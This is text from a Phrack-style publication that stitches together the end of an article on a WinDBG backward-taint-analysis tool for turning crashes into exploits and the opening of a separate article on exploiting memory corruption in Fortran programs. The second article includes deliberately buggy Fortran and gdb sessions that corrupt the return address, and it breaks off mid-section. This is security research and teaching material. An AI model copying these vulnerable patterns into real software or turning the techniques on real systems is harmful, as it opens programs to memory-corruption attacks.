Due to all the challenges faced by the taint analysis and to the lack of detailed information about source data for specific file‑formats and protocols, and thus the difficulties in creating working exploits for such cases, I decided to use a different approach. Such approach is very useful when you already have a reproducible crash case and is named Backward Taint Analysis.

‑‑‑[ 2.2 ‑ Backward Taint Analysis

Backward Taint Analysis is a reverse approach to the natural taint analysis flow. Basically, instead of getting all the input, mark it as tainted and track it during the program execution, what I do is to get the crash, validate what is of interest (which led to the application crash) and trace back to see if it comes from input and, if so, what modifications were performed.

This avoids the explosion of tainted data, since most of the input is considered not tainted (and usually it is legitimate).

To do so, the process is divided in two parts:

‑ A trace from a good state to the crash (incrementally dumped to a file) ‑> Gather substantial information about the target application when it receives the input data, which is formally named 'analysis'

‑ Analysis of the trace file ‑> Formally defined as 'verification' step, where the conclusive analysis is done

The trace step stores some useful information, like effective addresses and data values (later used to determine what is been copied to where and how it is been affected). Note that:

‑ This is done using a WinDBG extension

‑ It only supports the basic x86 instructions (so, no MMX and SSE). This limits the analysis in many cases and requires extension on the supported instructions. The project is been open‑sourced here, so I expect to receive patches.

‑ Simplification of the instructions to make the next step softer

To provide the simplification it is necessary to deal with many specifics, like in the instruction:

‑ CMPXCHG r/m32, r32 ‑> 'Compare EAX with r/m32. If equal, ZF is set and r32 is loaded into r/m32. Else, clear ZF and load r/m32 into

AL' [17]

Such an instruction creates the need for conditional taints, since by controlling %eax and r32 the attacker controls r/m32 too.

Alternative taints are also provided, in the form of srcdep{1,2,3}.

Since the trace step generates a file to be loaded by the next step, this file will contain:

‑ Mnemonic of the instruction

‑ Operands

‑ Dependences for the source operand

Dependences for an operand are for example, elements of an indirectly addressed memory. This will create a tree of the dataflow, with a root in the crash instruction.

The analysis step receives the address ranges that have the attacker data and then does the automatic analysis to determine the control over anything you want to know.

‑ This is done by a standalone tool (it is in the same project file), and has a GUI!

Since the dataflow is available in a tree rooted in the crash instruction, the analysis step will just search in this tree, using a BFS [18] algorithm.

Let's now look at some example code:

1‑) mov edi, 0x1234 ; dst=edi, src=0x1234

2‑) mov eax, [0xABCD] ; dst=eax, src=ptr 0xABCD ; Note 0xABCD is evil addr

3‑) lea ebx, [eax+ecx*8] ; dst=ebx, src=eax, srcdep1=ecx

4‑) mov [edi], ebx ; dst=ptr 0x1234, src=ebx

5‑) mov esi, [edi] ; dst=esi, src=ptr 0x1234, srcdep1=edi 6‑) mov edx, [esi] ; Crash!!!

The tree will look like:

6‑) Where does [esi] come from?

5‑) [edi] is moved to esi, where edi comes from and what does exist in [edi]?

4‑) [edi] receives ebx and edi is defined in 1‑) from a fixed value 3‑) ebx comes from a lea instruction that uses eax and ecx

2‑) eax receives a value controlled by the attacker

... ecx is out of the scope here :)

‑‑‑[ 2.2.1 ‑ From the crash to the exploit

In order to compile the provided project, I use Microsoft Visual Studio 2008 for the GUI and the command line for the debugger extension (don't forget to install the debugger extension SDK [19]).

To compile the applications, go to the sources directory and open the Project in Visual Studio.

The GUI is compiled using the project build, the dll is compiled through the command line:

‑ Open the DOS prompt

‑ Execute:

Cmd.exe /k C:\WinDDK\7600.16385.0\bin\setenv.bat \ C:\WinDDK\7600.16385.0\ chk WNET

‑ Then go to the directory VDT‑Tracer and execute:

setpaths.cmd

‑ On some systems you will need to open the makefile file (just open and close):

edit makefile

‑ Then, just compile:

bcz

‑ Copy the library from bin\i386\vdt‑tracer.dll

to your WinDBG extensions directory

Attached to the article there is an Excel file for a problem discovered by accident two years ago (the problem was discovered during a Forensic Analysis by a friend of mine, who after recovering an Excel Spreadsheet noticed that Excel was crashing when trying to open it).

The name of the file is FIL573.XLS.

The problem was fixed more than a year ago, but it is useful to illustrate the steps taken in order to use this project. As mentioned, I'm not going to discuss the analysis step, but I'll just show how to get the tool to work... the rest is up to you!

First, open excel, and attach to it using WinDBG [Figure WinDBG_Attaching_to_Excel]. Add a breakpoint in the CreateFile [Figure WinDBG_Breakpoint_CreateFile].

Start the tracing process [Figure WinDBG_Trace_VDT].

Open the crash file withing Excel [Figure Opening_Crash_File_Excel].

Using an hex editor (in my case I used the xvi32) open the file and try to locate a string that you can search in the program's memory, to determine where the file was loaded [Figure Finding_User_Input_in_Memory].

Using the searching capabilities of WinDBG, locate such string in the program's memory [Figure WinDBG_Finding_User_Input_in_Memory].

Open the trace file in the GUI [Figure VDT_Open_Trace_File] and add a taint range like in [Figure VDT_Add_Taint_Range] and

[Figure VDT_Add_Taint_Range2].

Now everything is ready, and you will have the taint analysis of the instructions you are interested of, related to the range of memory you just specified.

Click with the right button in any instruction [Figure VDT_Check_Taint_Of], see the Check Taint Of option [Figure VDT_Check_Taint_Of2]. It is going to offer the taint information for all applicable operands [VDT_Check_Taint_Of3].

‑‑‑‑‑‑[ 3 ‑ Existent solutions and comparisions

Microsoft Research released the !exploitable [3] extension for Microsoft Debugger and its source code. This is a great initiative and contributed a lot for the growing number of cooperation between researchers and the software industry (since now the vendors can at least classify the exploitability of each reported vulnerability). Although it fails in many cases to classify the exploitability, it provides a good extensibility support and is a good start point in this initiative. It is important to note as well that a good aim of the tool is to identify unique bugs, eliminating duplicated issues.

A simple example of the problem of such approach is:

_declspec(naked) int main() {

_asm {

mov eax, 0x41414141

call eax

}

}

This is incorrectly classified as EXPLOITABLE because the tool always assumes that the attacker has control over all the input operands [Figure bangexploitablefp.jpg].

This is not the case in the example. The provided solution in this article differs from that, since instead of trying to classify the exploitability, I try to save researcher time while analyzing vulnerabilities and determining exactly that limitation: Are the input operands in control of the attacker?

So, to resume, bang exploitable (!exploitable) objectives are:

‑ Classify unique issues (crashs appearing through different code paths, machines involved in testing, and in multiple different test cases)

‑ Quickly prioritize issues (since crashes appear in thousands, while analysis capabilities are VERY limited)

‑ Grouping the crashes for analysis

And the provided tool objective is:

‑ Helping you to create the exploit code :)

Piotr Bania released a paper about an architecture for similar analysis, providing more advanced cases called Spiderpig [20]. The Spiderpig project is not available for testing, making it impossible to create a fair comparision. In Piotr's paper, he explains the Virtual Code Integration (or Dynamic Binary Rewriting) approach. Some of the techniques used in the 'intermediate language representation' phases are also adopted in the provided tool, in a different way (there is no intermediate language, but a normalized output of the execution trace). Spiderpig has ways to solve specific conflicts in partially controlled data, creating what he named a disputable object. In those objects, parent objects are also available for analysis. After reviewing the provided algorithms in the article Spiderpig seems to be much more advanced than the provided tool, but as said, is not available.

Taint Check [21] is dependent of DynamicRIO or Valgrind and is an extension to provide taint analysis in order to detect overflow conditions in tested software. It does not help in the exploit‑creation phase, neither to determine the actual exploitability of an issue. It is divided in the taint‑seed, taint‑tracker and taint‑assert, with the purpose of defining original tainted values (values comming from the network for example), track the propagation and alert about security violations respectively. Because they provide a solution for security‑tests I decided to also include a heap‑monitoring example tool with this article. This tool aims at solving the challenge of heap tests for embedded Linux architectures using ARM (much less advanced then the Valgrind Memcheck plugin, altought the only option for ARM as far as the author is aware).

The solution provided here started when I first faced the problem of exploiting a complex client‑side vulnerability, involving a very complex (and at that time closed) file format. It was later expanded when I saw the results of attacking scenarios against Word [1] and started to think how to automate the analysis in order to determine the exploitability.

My initial version was integrated with a fuzzer to provide internal information and feed back the fuzzer in order to have better coverage of the critical parts of the software [22]. It was unix based and later ported to cover Solaris too, in order to exploit two vulnerabilities released by Secunia [23] in the same software where RISE Security found a vulnerability some months before.

Because a good friend of mine was doing research in the same area, and had good experience with the Microsoft Debugger, we decided to integrate our implementations and create the final version provided here. I keep expanding this version since then and using in my work and personal projects.

The biggest difference here is that we provide the backward Taint Analysis in order to help the exploitation process, which means we focus in determining what the attacker controls from the crash back to the input data.

‑‑‑‑‑‑[ 4 ‑ Future and other uses

I can't foresee the future. I hope that more researchers are going to contribute with the project, helping it to grow and achieve maturity.

The code needs immediate support for extended coverage of x86 instructions, speed enhancements, introduction of heuristical detection over user input (so you don't need to manually specify the memory ranges to watch).

I'm sure many other uses are possible, and for sure I do expect some extensions to come.

The original idea was based on Valgrind and REX intermediate language. The available version is based on Microsoft Debugger (but really tight to it due to the limited amount of time to create the project).

A limitation of such approach is the fact that you need the PoC to trace the execution until the crash, and then to analyzed it backwards. If your PoC is not taking a specific execution path that gives you control over some specific memory areas, the analysis will say you don't control such memory areas. The tool does not try to find other ways to get control over areas that you need, it only provides you the information if you control or not such areas based on the executed PoC.

There are other areas of interest, like heap viewing [24]. A

heap view example for linux arm is also available with the article and future versions on Sourceforge [25].

Also, the integration with fuzzers [22]

is an interesting approach to provide better ways to find security vulnerabilities.

‑‑‑‑‑‑[ 5 ‑ Acknowledgments

A lot of people helped me in the long way for these researches that resulted in something interesting (at least to me) to be published, you all know who you are.

The biggest thanks goes to Julio Auto, for helping me with the tools and for having the motivation to go present alone [26] while I was still fighting to get permissions to release everything in my personal name.

Special tks to the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it.

I'll never ever forget to say thanks to my research team and friends at RISE Security (http://www.risesecurity.org) for always keeping me motivated

studying completely new things.

Conference organizers who invited me to talk about Software Exploitation, even after many people already talked about the subject they trusted that my talk was not more of the same.

It's impossible to not say thanks to COSEINC, an amazing place for hackers to work and which provided me lots of motivation to keep my projects going on my free time.

A big thanks goes to Check Point Software Technologies, for paying me to keep doing my hobby ;)

‑‑‑‑‑‑[ 6 ‑ References

[1] Nagy, Ben. "Finding Microsoft Vulnerabilities by Fuzzing Binary. Files with Ruby ‑ A New Fuzzing Framework";

Syscan 2009

[2] Miller, Charlie. "Babysitting an Army of Monkeys: An analysis of fuzzing 4 products with 5 lines of Python"; Cansecwest 2010 http://securityevaluators.com/files/slides/cmiller_CSW_2010.ppt

[3] Microsoft !exploitable page

http://msecdbg.codeplex.com

[4] Abouchaev, Adel; Hasse, Damian; Lambert, Scott; Wroblewski, Greg. "Analyze crashes to find security vulnerabilities in your apps"

[5] Barbosa, Edgar. "Taint Analysis"; H2HC 2009 http://www.h2hc.com.br/repositorio/2009/Edgar.pdf

[6] Chow, Jin. "Understanding data lifetime via whole system emulation"; Usenix 2004

[7] Denning, Dorothy; Denning, Peter. "Certification of Programs for Secure Information Flow"

[8] Klee Project

http://keeda.stanford.edu/wiki/klee‑install

[9] Godefroid, Patrice; Levin, Michael; Molnar, David. "Automated Whitebox Fuzz Testing" http://research.microsoft.com/en‑us/projects/atg/ndss2008.pdf

[10] Molnar, David; Wagner, David. "Catchconv: Symbolic execution and run‑time type inference for integer conversion errors"

[11] Wille, Andre; Drechsler, Daniel. "Evaluation of SAT like Proof Techniques for Formal Verification of Word Level Circuits

[12] de Moura, Leonardo; Bjorner, Nikolaj. "Z3: An Efficient SMT Solver"

[13] Z3 Project ‑ Microsoft Research http://research.microsoft.com/en‑us/um/redmond/projects/z3/

[14] ERESI Project

http://www.eresi‑project.org/

[15] Valgrind Project

http://www.valgrind.org

[16] Porst, Sebastian. "Applications of the Reverse Engineering Language REIL"

http://www.h2hc.com.br/repositorio/2009/Sebastian.pdf

[17] Intel Manual http://www.intel.com/software/products/documentation/vlin/mergedprojects/analyzer_ec/mergedprojects/reference_olh/mergedProjects/instructions/instruct32_hh/vc42.htm

[18] BFS algorithm http://en.wikipedia.org/wiki/Breadth‑first_search

[19] Microsoft Debugger SDK http://www.microsoft.com/whdc/devtools/debugging/default.mspx

[20] Bania, Piotr. "Dynamic Data Flow Analysis via Virtual Code Integration (aka The SpiderPig case)" http://piotrbania.com/all/spiderpig/pbania‑spiderpig2008.pdf

[21] Newsome, James; Song, Dawn. "Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software"

http://valgrind.org/docs/newsome2005.pdf

[22] Branco, Rodrigo. "Letting your fuzzer know about target's internals" http://www.troopers10.org

[23] Secunia Advisory SA32473. "Sun Solaris Sadmin Two Vulnerabilities" http://secunia.com/advisories/32473/

[24] Core Security Technologies. "Heap Draw / Heap Tracer" http://oss.coresecurity.com/projects/heapdraw.html

[25] JFree Project

http://www.sf.net/projects/jfree

[26] Auto, Julio. "Triaging Bugs with Dynamic

Dataflow Analysis" .Source Barcelona 2009 www.julioauto.com/presentations/sourcebcn09_TBwDDA.ppt

‑‑‑‑‑‑[ 7 ‑ Sources [vdt_jfree.tgz]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Attached to the article there is:

‑ VDT Project: The main project cited in the article, it is a Microsoft Debugger extension and a GUI used to analyze crash files in order to create an exploit code

‑ Jfree project: It is a Linux‑ARM Heap Monitoring System created long ago and also available at [25]

‑ Images directory: Some screenshots of the program and plugin of the VDT Project.

Further updates will be available in the RISE Security website at: http://www.risesecurity.org

For the author's public key: http://www.kernelhacking.com/rodrigo/docs/public.txt

begin 644 vdt_jfree.tgz

Exploiting Memory Corruptions in Fortran Programs Under Unix/VMS

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x0b of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Exploiting memory corruptions in Fortran programs ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑=[ under UNIX/VMS ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Magma /FHC ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ magma@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑

"aka hacking Fortran for kiddos"

‑‑

‑‑[ Contents

1 ‑ Introduction

1.1 ‑ A Fortran tale

1.2 ‑ Who cares about Fortran anyway?

2 ‑ A short introduction to the language basics

2.1 ‑ An overview of Fortran syntax

2.2 ‑ Hey Gramps, what's the difference between F77 and F2008?

3 ‑ Memory corruption with gfortran

3.1 ‑ Buffer overflows

3.2 ‑ The number‑related issues

3.3 ‑ The POINTER abuse

3.4 ‑ Other interesting bugs

4 ‑ Back to the good ol' OpenVMS friend

4.1 ‑ Common Fortran bugs .VS. OpenVMS

4.2 ‑ Playing with the heap

5 ‑ Prevention: lets use a condom

6 ‑ The final words

7 ‑ Greetz

8 ‑ Bibliography

‑‑

‑‑‑[ 1 ‑ Introduction

‑‑‑[ 1.1 ‑ A Fortran tale

Fortran ‑FORmula TRANslation‑ is one of the oldest high level programming language ever created. Being well aware of the fact that youngsters aren't interested anymore in history, I'll go straight to the point.

Fortran is .NOT. (yet) dead (though 'perforated cards' hackers probably are). Not only did it remain actively used in the very underground scientific/banking sectors but it also evolved to the point where it got its last update in 2008. Hey son, you didn't know that, did you?

Now if you ever took Fortran classes in college/university then there is a good chance that your teacher voluntary missed a few things as Fortran is generally taught as a procedural programming language for beginners. As such, you might have been asked to program some crappy math oriented program with basic features and never really got the chance to play with the interesting features of the language.

Fortran was once an old fashioned language with limited features and boring syntax constraints. Forget about all that. Nowadays Fortran includes modern features such as dynamic allocation and MPI which make it suitable for implementing both complex algorithms and parallel computing. Now add that to the fact that modern compilers exist for almost all common operating systems and that they produce high‑lol‑ly efficient code which can be linked to C and even Java programs. You can also use GTK or OpenGL if you wish. You're impressed kid, I can see that in your eyes.

@(*_*)

‑‑‑[ 1.2 ‑ Who cares about Fortran anyway?

Well I do and let me tell you why you should too:

a. It may not be too good looking at first but at least it's way sexier than COBOL.

b. Your father was programming in Fortran using perforated cards and got headaches doing so. Sounds like a cool subject in family diner. c. Vintage web is the best. Just try typing Fortran in google to admire beautiful and authentic Web 0.1 HTML.

d. Wikipedia tells us that "It is one of the most popular languages in the area of high‑performance computing and is the language used for programs that benchmark and rank the world's fastest supercomputers." We should always believe wikipedia.

e. You mastered tabs in python and couldn't think of new ways to be cool on BBS^H^H^HIRC? Well then try to master Fortran 77's indentation constraints. You might even be able to impress chicks. It used to work almost forty years ago (.OR. .NOT.).

Still not convinced? OK so what if Fortran programs were used in strategic areas you've only heard of? What if Fortran programs were more buggy [R1] than they seemed? What if you could exploit some appropriate bug in a Fortran program and then own the _whole_ _damn_ _world_? That would be extraordinary, wouldn't it? Well cool down man that would also remain a dream :>

‑‑

‑‑‑[ 2 ‑ A short introduction to the language basics

In order to properly understand the paper, you'll need the basics in Fortran programming. Since Fortran 77 (F77) isn't used anymore, the article is focused on F90 (Fortran 90) whose syntax mostly remained compatible throughout the different revisions of the standard. Specific features added by Fortran 95 (F95) up to Fortran 2008 (F2008) are discussed in Chap 2.2 though not really _that_ interesting in the context of this paper. You can easily skip the aforementioned explanation.

‑‑‑[ 2.1 ‑ An overview of Fortran syntax

Fortran is a procedural compiled language whose syntax is quite easy to learn albeit sometimes not intuitive. Let's begin with the traditional 'Hello World':

‑‑‑‑‑BEGIN EXAMPLE 1‑‑‑‑‑

$ cat ex1.f90

! Dummy comment

PROGRaM EX1 [L1]

CHARACTER(len=20) :: hellostr='Hello World!' [L2] write(*,fmt='(A)') hellOstr [L3]

END PROGRAM [L4]

$ gfortran ex1.f90

$ ./a.out

Hello World!

$

‑‑‑‑‑END EXAMPLE 1‑‑‑‑‑

*) '!' marks the beginning of a comment.

*) A Fortran program is divided in several blocks. [L1] declares the beginning of the PROGRAM (the MAIN_() function) and requires the according 'END' in [L4]. Other types of blocks include FUNCTION and SUBROUTINE, the difference between them being essentially whether or not they return a value.

Note: This language keywords are case insensitive as shown in [L1].

*) Variables are declared at the beginning of the blocks and are also case insensitive ([L2] vs [L3]) and preceded by a type. According to the ISO standard [R2], F90 defines five intrinsic types being: INTEGER, REAL, COMPLEX, CHARACTER and LOGICAL.

An intrinsic type can optionally been followed by a 'type parameter' which can either be 'len' or 'kind'. 'len' allows the programmer to specify how much bytes is required to store the variable for a CHARACTER and so is 'kind' for INTEGER, REAL and LOGICAL types.

Contrary to the C language, there is a difference between strings and character arrays but both are related to the CHARACTER type:

CHARACTER(len=1) :: array(20) ! 20 bytes array CHARACTER(len=20) :: string ! 20 bytes string

*) read() and write() are the common input/output functions used to read and write files. Amongst the possible parameter, you can specify how to format the variable. The code in [L3] is equivalent to the C line: printf("%s\n", hellOstr);

Now let's see a more advanced example:

‑‑‑‑‑BEGIN EXAMPLE 2‑‑‑‑‑

$ cat ex2.f90

SUBROUTINE add(I,J)

IMPLICIT NONE [L1]

INTEGER(2) :: I [L2]

INTEGER(2) :: J

I = I + J

END SUBROUTINE

PROGRAM EX2

CHARACTER(len=20), PARAMETER :: s = & [L3] 'p67 will be the best.'

INTEGER*2 :: I = Z'FF' [L4] write(*,*) '[1] Before add(), I = ', I

CALL add(I,1)

write(*,*) '[2] After add(), I = ', I

END PROGRAM

$ gfortran ex2.f90

$ ./a.out

[1] Before add(), I = 255

[2] After add(), I = 256 [L5]

$

‑‑‑‑‑END EXAMPLE 2‑‑‑‑‑

L1) By default a few variables do not need to be explicitly declared. According to Chap 5.3 of [R2], variables I to N are integers, while other variables are typed REAL. The directive 'IMPLICIT NONE' forbids this behavior and forces the programmer to properly declare every variable.

L2) I and J are both signed integers stored on 2 bytes ('short' type in C language).

L3) Lines can be truncated using the '&' special character. PARAMETER is used to declare the variable as a constant.

L4) You can initialize the variables in base 8 ('O'), 16 ('Z') and even base 2 ('B').

L5) When calling functions and subroutines (which from an asm point of view is the same), then arguments are passed by reference contrary to the C where arguments are passed by value.

‑‑‑[ 2.2 ‑ Hey Gramps, what's the difference between F77 and F2008?

First of all, know that F77 is not the first Fortran at all but rather the ancestor of F90. It can be seen as the skeleton of the actual "modern" language. Decades after decades, the ISO published several revisions of the language to bring new functionalities while sometimes deleting ones. For us hackers, there is almost no impact except that the newer the language, the higher the chance to find bugs thanks to dangerous and misused extensions.

Anyway you should nonetheless be aware of the following ‑importantdifferences between the revisions:

*) Fortran 90 brought the POINTER object and the ability to dynamically allocate objects. It also made possible the recursion. This particular feature won't be discussed in this paper.

*) "Varying character strings" appeared in Fortran 95. This interesting functionality can potentially reduce the risks of bugs induced by the need to copy a buffer into another one (remember that strings have a fixed len in Fortran). Fortunately some compilers don't support it yet (like gfortran) and a lot of programmers aren't even aware of its existence.

*) Fortran 2003 was designed to allow object oriented programming but frankly speaking, we don't care at all. More interesting are the IEEE floating point arithmetic and the so‑called procedure pointers.

Note that we had to wait 2003 to get a language being able to deal with command line arguments and environment variables. _ridiculous_

*) Fortran 2008 introduced the parallel processing ability in the language. This will not discussed.

OK enough with the chitchat, let's move on.

‑‑

‑‑‑[ 3 ‑ Memory corruption with gfortran

This part introduces the more common bugs that you may encounter while auditing/writing Fortran code. While it is essentially focused on gfortran (a GCC extension [R3]), the OpenVMS Fortran compiler [R4] will be discussed in part 4. This will allow us to make at least partial generalisation of what kind of bugs are likely to be found & exploited in the wild.

People accustomed to Fortran programming already know that Fortran is about dealing with numbers (one of the main advantages of Fortran). As a result it seems that interesting inputs will be the ones related to number manipulation/conversion and string parsing. Now Gramps will show you a few things that might interest you.

‑‑‑[ 3.1 ‑ Buffer overflows

Obviously the buffer overflow is the first type of bug that comes to mind when one wants to trigger a bug related to strings/buffers. Luckily, they also exist in Fortran but only in situations where the compiler was not able to deter them. That would be:

*) when the user is able to manipulate an index which will be used to access an array or a string. Due to the index provided by the user, the compiler is not able to detect the potential memory corruptions during the compilation.

*) when the user is implicitly or explicitly changing the type of an object passed by reference to the function.

The index manipulation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Contrary to other languages, Fortran is not able to properly handle invalid memory access on runtime. In fact, if an index is out of scope, Fortran will not see it and a memory corruption might appear.

Let's see using this tiny string manipulation example:

‑‑‑‑‑BEGIN OVERFLOW 1‑‑‑‑‑

$ cat overflow1.f90

PROGRAM test

CHARACTER(len=30) :: S ! String of length 30

INTEGER(4) I

S = 'Hello Phrack readers!'

read(*,*) I

S(I:I) = '.'

write(*,*) S

END PROGRAM

$ gfortran overflow1.f90

$ ./a.out

3

He.lo Phrack readers! <‑‑ S was modified with 0x2E

$ gdb ./a.out

[...]

0x080487be <+186>: mov BYTE PTR [ebp+eax*1‑0x2b],0x2e

;This is the memory write

;Do we really control eax?

[...]

(gdb) b *0x080487be

Breakpoint 1 at 0x80487be

(gdb) r

Starting program: a.out

50 <‑‑ 50 is clearly out of scope! (>30)

Breakpoint 1, 0x080487be in MAIN__ ()

(gdb) print /d $eax

$1 = 50

(gdb) c

Hello Phrack readers!

Program received signal SIGSEGV, Segmentation fault. 0x2e04885b in ?? () <‑‑ EIP was corrupted with 0x2E ‑‑‑‑‑END OVERFLOW 1‑‑‑‑‑

This short example is sufficient to prove that (at least with gfortran) there is no runtime check at all. If the user is controlling the index used to access a string then it's probably all over. There are two things worth to note:

*) We tricked an out‑of‑bound memory write due to string manipulation but this could very well have been the same thing with any array (REAL, INTEGERS, CHARACTERS, etc.)

*) Due to the fact that the INTEGER type is 'signed', we are equally able to write both before and after the buffer. Depending on the situation this might be extremely useful. For example while it's usually more interesting to write past the buffer when it's located on the stack, writing before it (underflow) might be handy when it's located on the heap. Of course that will depend on the situation.

Explicit typing of function parameters

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A short example is better than confusing explanations:

‑‑‑‑‑BEGIN CAST 1‑‑‑‑‑

$ cat cast1.f90

SUBROUTINE dump(S)

INTEGER(4) :: S

write(*,fmt='(Z10)') S

END SUBROUTINE

PROGRAM CAST

CHARACTER(len=6) :: S

S='ABCDEF'

CALL dump(S)

END PROGRAM

$ gfortran cast1.f90

$ ./a.out

44434241

‑‑‑‑‑END CAST 1‑‑‑‑‑

So we first declare S as a string in the MAIN_ and then call the dump() subroutine, S being the argument. Inside dump(), the parameter is declared as an INTEGER which results in the appropriate printing. The fact that the compiler doesn't check types can lead to very interesting situations:

*) when the size of S object in dump() is known at compile time and different of the original one.

*) when the size of S object in dump() is controlled by the user.

The first case will lead to a memory corruption if the size of the argument in the function is superior to its real size due to argument being passed by reference. The following code is for example incorrect and will lead to a program crash:

‑‑‑‑‑BEGIN CAST 2‑‑‑‑‑

$ cat cast2.f90

SUBROUTINE dump(S)

CHARACTER(len=20) :: S

S = 'AAAA'

END SUBROUTINE

PROGRAM cast2

CHARACTER(len=10) :: X

X = 'ZZZZZZZZZZZ'

CALL dump(X)

END PROGRAM

$ gfortran ./cast2.f90

$ ./a.out

Segmentation fault

‑‑‑‑‑END CAST 2‑‑‑‑‑

What's happening? 'AAAA' is supposed to be shorter than 'ZZZZZZZZZZZ' so why is there a crash? Well S = 'AAAA' means the initialisation of S which ultimately results in the 4 first characters being set to 'A' and the other 16 ones to ' ' (space).

But remember that parameters are passed by reference in Fortran so whatever the size of S during the execution of dump(), the size of the real object is 10 bytes. In other words, 20 bytes were copied on a 10 bytes buffer. Due to the very nature of this bug, it's quite unlikely to find it in the wild. However a much more vicious variant with 'implicit typing' is described later.

Note: If the size of the argument in the function is actually shorter and number‑related then it may leads to a truncation bug (discussed in Chap 3.2).

Now one could imagine a second case where the programmer is providing the size of S as an argument (which is of course a bad practice in Fortran). The following code is perfectly legal:

‑‑‑‑‑BEGIN CAST 3‑‑‑‑‑

$ cat cast3.f90

SUBROUTINE dump(S,L)

INTEGER(4):: L

CHARACTER(len=L) :: S ! size is a runtime parameter S='AAAA'

END SUBROUTINE

PROGRAM cast2

CHARACTER(len=10) :: X

X = 'ZZZZZZZZZZ'

CALL dump(X,100)

write(*,*) X

END PROGRAM

$ gfortran cast3.f90

$ ./a.out

10

AAAA

$ ./a.out

200

AAAA

Segmentation fault

$

‑‑‑‑‑END CAST 3‑‑‑‑‑

For a couple of seconds we could be tempted to think that it's a situation similar to the one described in [R5] but that would only be true if there were a stack allocation. In fact once again the bug is triggered by the initialisation of the string. Because of the explicit typing of S, the compiler is assuming that S really has a len of L and if L > 10 then a memory corruption occurs.

Implicit typing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the life‑time of a program, declaring variables every time can be boring especially when the use of these variables is limited (consider a DO loop variable for example). Because of that, Fortran designers created a rule of implicit declaration. As a result in Fortran you can use a few variables without declaring them which for us hackers can be really cool as it can have side effects. Here is a tiny buggy example:

‑‑‑‑‑BEGIN IMPLICIT TYPE 1‑‑‑‑‑

$ cat implicit_typing1.f90

SUBROUTINE set(I)

write(*,*) 'How much do u want to read dude ?'

read(*,*) I [L3]

END SUBROUTINE

PROGRAM IMPLICIT_TYPING

IMPLICIT NONE

INTEGER(1):: A, B [L1]

A = 0

B = 0

CALL set(B) [L2]

write(*,*) 'A=',A,'B=',B

END PROGRAM

$ gfortran implicit_typing1.f90

$ ./a.out

How much do u want to read dude ?

1094795585 [L4]

A= 65 B= 65 [L5]

$

‑‑‑‑‑END IMPLICIT TYPE 1‑‑‑‑‑

A, B are declared INTEGERS in the range [‑128,+127] [L1] and initialized. B is then passed by reference to the set() subroutine [L2] where it gets affected a new value [L3]. If the user supplies a large enough integer [L4] then B is corrupted [L5]. What happened?

Well the heart of this corruption lies in the implicit typing associated with the implicit declaration. Here is what can be read from the official documentation [R2]:

‑‑‑

Chap 5.3 ‑ IMPLICIT

"In each scoping unit, there is a mapping, which may be null, between each of the letters A, B, ..., Z and a type (and type parameters). An IMPLICIT statement specifies the mapping for the letters in its letter‑spec‑list. IMPLICIT NONE specifies the null mapping for all the letters. If a mapping is not specified for a letter, the default for a program unit or an interface body is default integer if the letter is I, J, ..., or N and default real otherwise, and the default for an internal or module procedure is the mapping in the host scoping unit."

‑‑

So not declaring I in the set() subroutine had the effect of declaring it as an integer which means INTEGER(4) by default (thus 4 bytes allocated). So cool. Do not forget that we're passing arguments by reference! Yes I know, I'm repeating myself. Probably because of my Alzheimer you know.

Anyway, It's really easy to watch it

‑‑‑‑‑BEGIN IMPLICIT TYPE 2‑‑‑‑‑

(gdb) disassemble MAIN__

[...]

0x080486c1 <+17>:lea esi,[ebp‑0xa] ; esi=&B [...]

0x080486d8 <+40>:mov DWORD PTR [esp],esi 0x080486db <+43>:mov BYTE PTR [ebp‑0x9],0x0 ; A=0 0x080486df <+47>:mov BYTE PTR [ebp‑0xa],0x0 ; B=0 0x080486e3 <+51>:call 0x8048790 <set_> ; set(&B)

(gdb) disassemble set_

[...]

0x08048826 <+150>:mov eax,DWORD PTR [ebp+0x8] ; eax=&B 0x08048829 <+153>:mov DWORD PTR [esp],ebx 0x0804882c <+156>:mov DWORD PTR [esp+0x8],0x4 0x08048834 <+164>:mov DWORD PTR [esp+0x4],eax 0x08048838 <+168>:call 0x8048594 [...] ; read(&B,4) [...]

(gdb) b *0x080486e3

Breakpoint 1 at 0x80486e3

(gdb) r

[...]

Breakpoint 1, 0x080486e3 in MAIN__ ()

(gdb) x /x $ebp‑0xa

0xbffff42e:0xf5140000

(gdb) x /x $ebp‑0xa+2

0xbffff430:0xbffff514 <‑‑ A pointer is stored right after B (gdb) nexti

How much do u want to read dude ?

1094795585

0x080486e8 in MAIN__ ()

(gdb) x /x $ebp‑0xa

0xbffff42e:0x41414141 <‑‑ We are controling &B[0] up to

B[3]

(gdb) x /x $ebp‑0xa+2

0xbffff430:0xbfff4141 <‑‑ The pointer is corrupted. Our win. [...]

‑‑‑‑‑END IMPLICIT TYPE 2‑‑‑‑‑

